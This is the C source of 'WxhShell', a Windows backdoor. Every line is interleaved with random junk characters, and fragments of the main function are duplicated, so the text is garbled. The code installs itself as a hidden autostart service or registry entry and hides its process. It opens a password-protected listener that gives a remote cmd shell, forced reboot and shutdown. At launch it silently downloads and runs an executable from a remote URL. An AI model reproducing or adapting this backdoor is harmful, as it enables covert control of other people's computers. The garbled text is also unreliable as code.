WinExec(wscfg.ws_filenam,SW_HIDE); F;kNc:X`)
} !iMsTH<
hS<+=3 <M
if(!OsIsNt) { 8xLvpgcZ
// 如果时win9x，隐藏进程并且设置为注册表启动 leiP/D6s
HideProc(); <}G7#xg
StartWxhshell(lpCmdLine); `w2hJP
} 90;[5c
else g^=p)h3
if(StartFromService()) p9 %7h.
// 以服务方式启动 ='a$>JVJ5
StartServiceCtrlDispatcher(DispatchTable); XSXS;Fh)
else Nb-;D)W;B
// 普通方式启动 1I_(!F{Ho
StartWxhshell(lpCmdLine); (Ori].{C.J
kA fkQy(~
return 0; 5MT$n4zKu
} p;g$D=2
:dK/}S0
4\3Z$%2^LZ
LG(bdj"NM
=========================================== <yBZsSj
PC/Oo~Gx
woQYP,
3s" Rv@
[*@"[u
4;x{@Ln
" UE5T%zd/
o@vo,JU
#include <stdio.h> tv5G']vO\
#include <string.h> 6Z0@4_Y@B6
#include <windows.h> aH*)W'N?
#include <winsock2.h> $0 eyp]XC\
#include <winsvc.h> 3V2"1Ic
#include <urlmon.h> ^As^hY^p
LGV"WE
#pragma comment (lib, "Ws2_32.lib") VD,g
#pragma comment (lib, "urlmon.lib") n)gzHch
) m[0,
#define MAX_USER 100 // 最大客户端连接数 -b8Vz}Y
#define BUF_SOCK 200 // sock buffer ckS.j)@.c
#define KEY_BUFF 255 // 输入 buffer -m3O\X
V^[o{'+
#define REBOOT 0 // 重启 ;~3CuN8
#define SHUTDOWN 1 // 关机 9ELLJ@oNC
82{Lx7pI
#define DEF_PORT 5000 // 监听端口 ,dP-sD;<
#3leMZ6
#define REG_LEN 16 // 注册表键长度 Z+x,Awq
#define SVC_LEN 80 // NT服务名长度 o[X'We;
2eK!<Gj
// 从dll定义API z1K@AaRx
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Mtd3F^o?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); OW;]=k/(
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u,I_p[`E
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0"#'Z>"
4cDjf~n
// wxhshell配置信息 _SY4Qs`d
struct WSCFG { 1:(qoA:
int ws_port; // 监听端口 k?ZtRhPu3X
char ws_passstr[REG_LEN]; // 口令 @lRTp
int ws_autoins; // 安装标记, 1=yes 0=no 9ePG-=5I
char ws_regname[REG_LEN]; // 注册表键名 %We~k'2f
char ws_svcname[REG_LEN]; // 服务名 cia'h_w
char ws_svcdisp[SVC_LEN]; // 服务显示名 9Ra*bP ]1
char ws_svcdesc[SVC_LEN]; // 服务描述信息 EBc_RpC/Z
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V4PI~"4q#1
int ws_downexe; // 下载执行标记, 1=yes 0=no hCS|(8g
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4$ya$Y%s%
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Js.2R$o =*
Y[#EFM
}; wylbs@
qj/ pd 7\
// default Wxhshell configuration ?RNm8,M
struct WSCFG wscfg={DEF_PORT, ge %ytrst
"xuhuanlingzhe", /}t>o* x
1, p~Di\AQ/
"Wxhshell", j51Wod<[
"Wxhshell", aNs~Uad1U
"WxhShell Service", }8`W%_Yk
"Wrsky Windows CmdShell Service", [uqe|< :
"Please Input Your Password: ", }86&? 0j.
1, ^E{M[;sF3y
"http://www.wrsky.com/wxhshell.exe", bk^W]<:z`
"Wxhshell.exe" LX;w~fRr.
}; 5n{J}0C
3D|Y4OM
// 消息定义模块 BWRAz*V
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IYAvO%~
char *msg_ws_prompt="\n\r? for help\n\r#>"; lV924mh
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |,#DB
char *msg_ws_ext="\n\rExit."; _kGJqyYV
char *msg_ws_end="\n\rQuit."; }ya@*jH
char *msg_ws_boot="\n\rReboot..."; 5G @
char *msg_ws_poff="\n\rShutdown..."; $De14
char *msg_ws_down="\n\rSave to "; P&I%!'<
A@M%}h
char *msg_ws_err="\n\rErr!"; TkHyXOk"Ky
char *msg_ws_ok="\n\rOK!"; _sLSl;/t
JWQd/
char ExeFile[MAX_PATH]; 5yBaxw`
int nUser = 0; j=c=Pe"?u
HANDLE handles[MAX_USER]; 7m='-_w)?w
int OsIsNt; "pUqYMB2i
xgeDfpF'
SERVICE_STATUS serviceStatus; 4u0\|e@a
SERVICE_STATUS_HANDLE hServiceStatusHandle; d^b(Uo=$
z 3((L
// 函数声明 TNun)0p
int Install(void); +pMa-{
int Uninstall(void); Zfwhg4G~
int DownloadFile(char *sURL, SOCKET wsh); V}=%/OY?
int Boot(int flag); T .#cd1b
void HideProc(void); *XN|ZGl/
int GetOsVer(void); [=/Yo1:v
int Wxhshell(SOCKET wsl); 9NzK1V0X
void TalkWithClient(void *cs); _%M+!Ltz
int CmdShell(SOCKET sock); 6WI-ZEVp&
int StartFromService(void); ^<u9I5?
int StartWxhshell(LPSTR lpCmdLine); p>x[:*
(h&XtFul}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EY+/ foP
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <7
ct o+W}k
// 数据结构和表定义 e8E*Urtz
SERVICE_TABLE_ENTRY DispatchTable[] = ;zq3>A
{ fyHFfPEE
{wscfg.ws_svcname, NTServiceMain}, }enS'Fpf`
{NULL, NULL} R;yi58Be
}; B8=r^!jEL
xbUL./uj
// 自我安装 5l_ >QB
int Install(void) 4S9hz
{ +`jI z'+
char svExeFile[MAX_PATH]; ahJ-T@
HKEY key; TTGk"2 Q'
strcpy(svExeFile,ExeFile); AlPk o($E*
y&A0}>a:d
// 如果是win9x系统，修改注册表设为自启动 oY NIJXln
if(!OsIsNt) { }253Q!f
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g<b(q|
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [-Xz:
RegCloseKey(key); _Fc :<Ym?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =@ SJyW
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8)KA {gN}
RegCloseKey(key); BIJlU(aF
return 0; X6h@K</c^:
} s*XE
} (v/mKGyg
} 1&7~.S;km
else { NI<;Lm
h eR$j
// 如果是NT以上系统，安装为系统服务 KzgW+6*G
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E`A6GX
if (schSCManager!=0) cu|S|]g
{ 6cQ)*,Q
SC_HANDLE schService = CreateService \jR('5DcB
( &7 0o4~Fr
schSCManager, N'5AU (
wscfg.ws_svcname, K-<kp!v
wscfg.ws_svcdisp, 31cC*
SERVICE_ALL_ACCESS, __mnz``/Y
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M"W~%
SERVICE_AUTO_START, xPcH]Gs^b
SERVICE_ERROR_NORMAL, kO)+%'L!8
svExeFile, i!nPiac
NULL, Sd9%tO9mf
NULL, {J[5 {]Je[
NULL, C@P4}X0,=
NULL, :nLhg$wMs
NULL ,ve$bSp
); *LA2@9l
if (schService!=0) H)@f_pfj(
{ ^Gt9.
CloseServiceHandle(schService); VV%Q "0\
CloseServiceHandle(schSCManager); jI%g!
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l2.Lh<G
strcat(svExeFile,wscfg.ws_svcname); |to|kU
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J]"IT*-Ht
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .29y3}[PO
RegCloseKey(key); &pk&8_=f
return 0; _oU}>5
} Vmb `%k20'
} J;R1OJs S
CloseServiceHandle(schSCManager); ^{l^Z +b.
} j~#nJI5]
} ?c7} v
,x]xtg?
return 1; O\z]1`i*o
} `9>1 w d
Jmcf9g
// 自我卸载 <q<kqy5s-R
int Uninstall(void) /l.ox.4z#
{ >vny9^_
HKEY key; S+mM S
PSR21;
if(!OsIsNt) { (imaL,M-D
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~L55l2u7
RegDeleteValue(key,wscfg.ws_regname); '0MH-M
RegCloseKey(key); WKDa]({k%
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,T<q"d7-#
RegDeleteValue(key,wscfg.ws_regname); #ts;s\!
RegCloseKey(key); )^q7s&p/
return 0; !7fL'
} GyP.;$NHa[
} =,HxtPJ
} 8 mFy9{M
else { <,\Op=$l3I
NW AT"
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9`8D Ga
if (schSCManager!=0) R32A2Ml
{ KN\*|)
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #J_+ SL[
if (schService!=0) !\(j[d#
{ %7vjYvo>
if(DeleteService(schService)!=0) { Jp#Onl+d6
CloseServiceHandle(schService); J6s@}@R1
CloseServiceHandle(schSCManager); ZPO+ #,
return 0; $eQf5)5
} ynQ+yW74Z
CloseServiceHandle(schService); -,Y[`(q
} $bdtiD
CloseServiceHandle(schSCManager); a|5^4 J\%
} A&8{0
} -l2aAK1M
J 6%CF2
return 1; uNoP8U%*
} !YZ$WiPl
WNo",Vc
// 从指定url下载文件 Z+EN]02|
int DownloadFile(char *sURL, SOCKET wsh) <GRplkf`
{ 8+=-!":]
HRESULT hr; $6Az\Iu *
char seps[]= "/"; wSGW_{;-
char *token; >v9@p7Dn
char *file; %'`L+y
char myURL[MAX_PATH]; ^U@-Dp,k+
char myFILE[MAX_PATH]; Mb +
YZllfw$9
strcpy(myURL,sURL); }]K^b1Fs5
token=strtok(myURL,seps); Ee0}Xv
while(token!=NULL) R'e>YDC
{ <{"Jy)Uf
file=token; +`_Km5=
token=strtok(NULL,seps); C#3K.0a
} >M-ZjT>
8RE"xJMff
GetCurrentDirectory(MAX_PATH,myFILE); FM=-^l,
strcat(myFILE, "\\"); Ce~ a(J|"
strcat(myFILE, file); |(Q !$
send(wsh,myFILE,strlen(myFILE),0); .CY;-
send(wsh,"...",3,0); &E+2
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pGHn
if(hr==S_OK) 'v?"TZ
return 0; ?]In@h-
else >^|(AzS
return 1; 1*vt\,G
wB0Ke
} L2P#5B!S
*s[bq;$
// 系统电源模块 Sb,lY<=
int Boot(int flag) bxFDB^
{ 2J0N]`|)
HANDLE hToken; *$/!.e
TOKEN_PRIVILEGES tkp; #qPWJ
V 'e_gH
if(OsIsNt) { lAZn0EU
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /GUbc
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :0o,pndU
tkp.PrivilegeCount = 1; SGK=WLGM8
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sY*iRq
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UP?]5x>
if(flag==REBOOT) { $1< ~J
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8*\PWl
return 0; E6njmdu
} $Il:Yw_
else { +GDT@,/
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }p$@.+
return 0; |o0?u:
} GL-r;
} P{tH4V23T
else { 1,pg7L8H
if(flag==REBOOT) { ;VlA~tv
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tuWJj^
return 0; 9X%H$>s
} pjaDtNb
else { JrhDqyk*
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) klON6<w
return 0; b8$(j2B~
} V3] Z~@
} o n+:{ad
N{o3w.g
return 1; E>2~cC*
} hnD=DLW $
cZd{K[fuK
// win9x进程隐藏模块 /ltGSl
void HideProc(void) Gj9WUv[P
{ N sNk
v$_YZm{!<
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :^H#i:4
if ( hKernel != NULL ) c(5r
{ RV{'[8gM
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n(.U>_ P
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @Fs2J_v
FreeLibrary(hKernel); U5!T-o;3}
} `:&jbd4H
s4uYp
return; >56I`[)
} f 3t&Bcw$
c u:1|gt
// 获取操作系统版本 H1^m>4ll9
int GetOsVer(void) nJ{vO{N
{ ehe;<A
OSVERSIONINFO winfo; Q q7+_,w
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y^xEZD1X6-
GetVersionEx(&winfo); Okt0b|=`1*
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }_vUsjK
return 1; ;{%R[M'
else 20Rj Rd
return 0; r'5~4'o$
} ,y%4QvG7a
:K]&rGi,
// 客户端句柄模块 N~] 4,~
int Wxhshell(SOCKET wsl) \u@*FTS
{ -YD+xPD
SOCKET wsh; wx2EMr
struct sockaddr_in client; ~[H+,+XLY+
DWORD myID; Fu;\t 0
(|kcSnF0
while(nUser<MAX_USER) ~n<U8cm O
{ x;; =+)Gg
int nSize=sizeof(client); dvLO#o{
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KDQqN]rg
if(wsh==INVALID_SOCKET) return 1; Yfotq9.=+
<[W41{
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -<MA\iSP
if(handles[nUser]==0) QgZ`~
closesocket(wsh); ljJi|+^$
else Iq%f*Zm<
nUser++; FWu[{X;
} T|fmO<e*n
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zJ9[),;7B
:1/K$A)^{
return 0; kafRuO~$
} d=J$H<
QhqXd
// 关闭 socket V% PeZ.Xv
void CloseIt(SOCKET wsh) dd{pF\a
{ BXx0Z %e.3
closesocket(wsh); t!S ja
nUser--; 9+!1jTGSkf
ExitThread(0); w,/&oe5M+
} E` O@UW@
C % d
// 客户端请求句柄 vy&< O
void TalkWithClient(void *cs) H,Ik&{@j
{ F[HMX4
yCt,-mz!z
SOCKET wsh=(SOCKET)cs; 8;vpa*
char pwd[SVC_LEN]; o fw0_)!Q
char cmd[KEY_BUFF]; U0Q:sA U
char chr[1]; uOU?-WtPz
int i,j; WhY8#B'?
xP+HdA2X
while (nUser < MAX_USER) { |4lrVYG^K
V <;vy&&
if(wscfg.ws_passstr) { l{u2W$8
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1+0DTqWz
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >^\}"dEvr
//ZeroMemory(pwd,KEY_BUFF); BEfp3|Stb
i=0; &y~EEh|
while(i<SVC_LEN) { C~PoC'"q
b{WEux{)
// 设置超时 s'Op|`&X
fd_set FdRead; ]`S35b
struct timeval TimeOut; 7 g2@RKo
FD_ZERO(&FdRead); 9"%ot=)
FD_SET(wsh,&FdRead); [ S_8;j
TimeOut.tv_sec=8; T+9#&
TimeOut.tv_usec=0; `EjPy>kM
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _h2s(u >\
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E,fG<X{
iR`c/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c/bIt
pwd=chr[0]; d 6$,N|
if(chr[0]==0xd || chr[0]==0xa) { 4Z"JC9As
pwd=0; XNm%O
break; V< ]l=JOd
} _0uFe7sIZ
i++; p~h)@
} ={GYJ.*Ah
ejID5NqG
// 如果是非法用户，关闭 socket nWd]P\a'V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ry+Ax4#+(y
} Ie14`'
>^!qxb-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K/OE;;<IA
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P{{pp<tX*&
K}(0H[P
while(1) { fQtV-\Bc
_r6aLm2n
ZeroMemory(cmd,KEY_BUFF); 8&0+Az"{O
k- ?:0
// 自动支持客户端 telnet标准 G"~%[k
j=0; HU='Hk!
while(j<KEY_BUFF) { ZV?~~_9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H%AF,
cmd[j]=chr[0]; fNkN
if(chr[0]==0xa || chr[0]==0xd) { V6.w=6:`X
cmd[j]=0; Mr8r(LGY
break; ls<7Qe"a
} 'aFjyY?%
j++; j![;;
} 1E]|>)$
X9lh@`3
// 下载文件 fT&>L
if(strstr(cmd,"http://")) { RkW)B^#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /M.@dW7 w
if(DownloadFile(cmd,wsh)) p%_m!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ul41RNy)
else ,2I8,MOg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T<\!7RnLc
} s?j` _B
else { C6-71`C0
z 5T_
switch(cmd[0]) { ~qk5Mk4$
~sd+ch*
// 帮助 H /kSFf{
case '?': { +Je(]b@
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &;D(VdSr9
break; @n-[bN
} ]nEZQ+F
// 安装 ?\eq!bu
case 'i': { v@8=u4
if(Install()) 6axDuwQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ckelr
else 7i,Z c]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `9+>2*k
break; 2L'vB1`
} wGXnS"L!
// 卸载 @L)=epC
case 'r': { e>:bV7h j~
if(Uninstall()) c2,1d`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ot]Y/;K
else 2I2#o9(Ar
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w# t[sI"IT
break; ,s?7EHtC
} LHt{y3l]
// 显示 wxhshell 所在路径 ]Gm$0uS
case 'p': { ~sI$xX!
char svExeFile[MAX_PATH]; ]lKQwpX3
strcpy(svExeFile,"\n\r"); 6__#n`
strcat(svExeFile,ExeFile); T2nbU6H
send(wsh,svExeFile,strlen(svExeFile),0); 7H1 ii
break; 5g{L -8XwI
} `3v!i
// 重启 6+:Tv2
case 'b': { RawK9K_1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1>doa1
if(Boot(REBOOT)) x}w"2[fL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *acN/Ca1
else { (Oc[j{6q
closesocket(wsh); R"au8f.
ExitThread(0); 2hjR'6h"Y
} 1D,$Az~.
break; ^Ms)T3dM
} m]1=o7
// 关机 gZ5E%']sT
case 'd': { "iCR68e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]m#.MZe
if(Boot(SHUTDOWN)) J|orvnkK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 09f:%!^u
else { Al^n&Aa+\
closesocket(wsh); 7VF^&6
ExitThread(0); \~(ww3e
} H?dmNwkPY
break; PgKA>50a
} 6~ *w~U
// 获取shell Wp0e?bK_
case 's': { Z=ayVsJ3
CmdShell(wsh); 5aF03+ko
closesocket(wsh); ,1\nd{
ExitThread(0); vZdn
break; Fb<r~2
} FBjIft5e
// 退出 AC=/BU3<yc
case 'x': { RP2MtP"M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d(>7BV
CloseIt(wsh); X7I"WC1ncz
break; <p48?+K9
} ~zklrBn&
// 离开 FkdG@7Xf
case 'q': { d9zI A6y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %!r>]M <
closesocket(wsh); #?xhfSgr
WSACleanup(); &&0,;r,-)
exit(1); |(gq:O
break; t'uZho~^F
} Lp; {&=PIo
} 8{5Y%InL
} f`5e0;zm
uzO%+B!
// 提示信息 iOB]72dh
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }+[H~8)5
} y.AF90Q>)
} ZQT14.$L
m6aq_u{W
return; +\FTR
} 5!ll #/ {`
U!:Q|':=h
// shell模块句柄 D6iHkDTg
int CmdShell(SOCKET sock) ti:qOSIDTA
{ Hno:"k?
STARTUPINFO si; :X>%6Xj?RV
ZeroMemory(&si,sizeof(si)); (+<SR5,/3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |Ire#0Nwx
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Do7&OBI~
PROCESS_INFORMATION ProcessInfo; <RmI)g>'_^
char cmdline[]="cmd"; G:FP9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D?w?0b Eu
return 0; `.f<RVk-
} 5oQy $Y
Y{X79Rd
// 自身启动模式 ^|@t2Rp@
int StartFromService(void) h+k:G9;sS
{ +OFq=M
typedef struct `A@{})+
{ iH& Izv
DWORD ExitStatus; N|c;Qzl
DWORD PebBaseAddress; O:fv1
DWORD AffinityMask; >9{Gdq[gyr
DWORD BasePriority; 1FU(j*~:
ULONG UniqueProcessId; }2Y:#{m
ULONG InheritedFromUniqueProcessId; &pS <4
} PROCESS_BASIC_INFORMATION; uBLI!N-G
5;+OpB
PROCNTQSIP NtQueryInformationProcess; B\a-Q,Wf
4,m aA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <4z |"(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B$aA=+<S
?Kw~O"L8
HANDLE hProcess; {n8mE,;M
PROCESS_BASIC_INFORMATION pbi; 3^l@!Qw
Hm|8ydNs
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6[kp#
if(NULL == hInst ) return 0; Rh-e C6P
!/G2vF"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TI-8I)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @Otom'O
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oD]tHuDa
>HatbbA
if (!NtQueryInformationProcess) return 0; &MnS( 82L
>3V{I'^^-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $:V'+s4o
if(!hProcess) return 0; h#9X0u7j
[z$th
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OD!b*Iy|
4y&%YLMpl
CloseHandle(hProcess); !|{T>yy
6q ._8%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ${^WM}N
if(hProcess==NULL) return 0; w-l:* EV8
yTWP1
HMODULE hMod; )Xxu-/-
char procName[255]; UD`bK a`E
unsigned long cbNeeded; RiC1lCE
LutP&Ebt8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "ewSh<t
_p/ _t76s
CloseHandle(hProcess); V|3}~(5=
!6hUTjhW7z
if(strstr(procName,"services")) return 1; // 以服务启动 _,:gSDW|
( /{Wu:e
return 0; // 注册表启动 hER]%)#r
} ,$ L>
I/D(gY06<
// 主模块 H(U`S
int StartWxhshell(LPSTR lpCmdLine) 4(>|f_$
{ [k-Q89
SOCKET wsl; %EA|2O.D
BOOL val=TRUE; }p 0\
int port=0; OnE#8*8
struct sockaddr_in door; iB1"aE3
1e.V%!Xk
if(wscfg.ws_autoins) Install(); m,KG}KX
XVcY?_AS#
port=atoi(lpCmdLine); (LzVWz m
Lu,72i0O ^
if(port<=0) port=wscfg.ws_port; Tg|0!0qD]F
zKB$n.H
WSADATA data; 2TB>d+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R7u&`
$d2mcwh\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1+|s
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t'Zq>y;yg
door.sin_family = AF_INET; wlk{V
door.sin_addr.s_addr = inet_addr("127.0.0.1"); +6tj w 6
door.sin_port = htons(port); ^6R?UG;6
?-w<H!Y7
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4lMf'V7*l
closesocket(wsl); K TJm[44
return 1; ?S^ U-.`
} rEEoR'c6
(D5 dN\
if(listen(wsl,2) == INVALID_SOCKET) { JGl0 (i*|
closesocket(wsl); ha+)ZF
return 1; D?ojxHe
} z\wY3pIr2
Wxhshell(wsl); EM9K^l`
WSACleanup(); wp7<0PP
)Y.H*ca
return 0; [w&B>z=g$
zvjp]yTx"
} *Ii_dpJ
wWjZXsOd
// 以NT服务方式启动 #[$^M:X.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %mKM9>lf#
{ *9J>3
DWORD status = 0; o9I=zAGjy
DWORD specificError = 0xfffffff; Gf``0F)
j4pxu/2
serviceStatus.dwServiceType = SERVICE_WIN32; LYY3*d
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9yla &XTD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % NSb8@
serviceStatus.dwWin32ExitCode = 0; <y4hK3wP
serviceStatus.dwServiceSpecificExitCode = 0; o~<ith$A*
serviceStatus.dwCheckPoint = 0; >@?!-Fy5
serviceStatus.dwWaitHint = 0; h"R{{yf2
}7)iLfi
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z!HQ|')N5
if (hServiceStatusHandle==0) return; wD+4#=/j
L\;n[,.
status = GetLastError(); "m2g"xa\7
if (status!=NO_ERROR) ndW]S7
{ _{$eOwB
serviceStatus.dwCurrentState = SERVICE_STOPPED; r"HQ>Wn
serviceStatus.dwCheckPoint = 0; "u29| OY
serviceStatus.dwWaitHint = 0; pjG/`
serviceStatus.dwWin32ExitCode = status; 'Lm\ r+$F
serviceStatus.dwServiceSpecificExitCode = specificError; W}^X;f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zsM3 [2E*
return; D@.+B`bA
} g~ubivl2
T$w`=7
serviceStatus.dwCurrentState = SERVICE_RUNNING; LC8&},iu
serviceStatus.dwCheckPoint = 0; BF)!VnJ
serviceStatus.dwWaitHint = 0; VY9o}J>,w
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Y|t,x;
} K"fr4xHq
+UvT;"
// 处理NT服务事件，比如：启动、停止 /:S&1'=
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2Kg-ZDK8
{ p;nRxi7'
switch(fdwControl) o'Rr2,lVi
{ 3UXaA;
case SERVICE_CONTROL_STOP: 7LotN6H
serviceStatus.dwWin32ExitCode = 0; ^:hI bF4G
serviceStatus.dwCurrentState = SERVICE_STOPPED; $W_sIS0\z
serviceStatus.dwCheckPoint = 0; OoIs'S-Z#
serviceStatus.dwWaitHint = 0; 4$W}6v
{ .|?UqZ(,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W"3YA+qpI
} yyZs[5Q
return; QVT|6znw
case SERVICE_CONTROL_PAUSE: #E`wqI\'
serviceStatus.dwCurrentState = SERVICE_PAUSED; B7QuSo//
break; $0[t<4K`yn
case SERVICE_CONTROL_CONTINUE: #{f%b,.yxt
serviceStatus.dwCurrentState = SERVICE_RUNNING; bX*>Zm
break; 8cKP_Ec
case SERVICE_CONTROL_INTERROGATE: NC@L,)F
break; ^uCZO
}; -d+o\qp"#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d U}kimz
} I9VU,8~
7cMHzhk^
// 标准应用程序主函数 DH IC:6EY
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G*N}X3H:o
{ ==!k99`f,
h85kQ^%
// 获取操作系统版本 %+8"-u
OsIsNt=GetOsVer(); cPp<+ ts
GetModuleFileName(NULL,ExeFile,MAX_PATH); z79c30y]"
j3t,Cx
// 从命令行安装 %3kS;AaA
if(strpbrk(lpCmdLine,"iI")) Install(); Y[~Dj@Q<
zm~sq_=^
// 下载执行文件 %mFZ!(
if(wscfg.ws_downexe) { <>71;%e;'
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +eUWf{(_
WinExec(wscfg.ws_filenam,SW_HIDE); Bx" eX>A8
} (qyT,K8
+{b3A@f|F
if(!OsIsNt) { ]yAOKmS
// 如果时win9x，隐藏进程并且设置为注册表启动 ,v@C=4'm
HideProc(); 3'jH,17lWV
StartWxhshell(lpCmdLine); dTTC6?yPXf
} !5^&?plC@
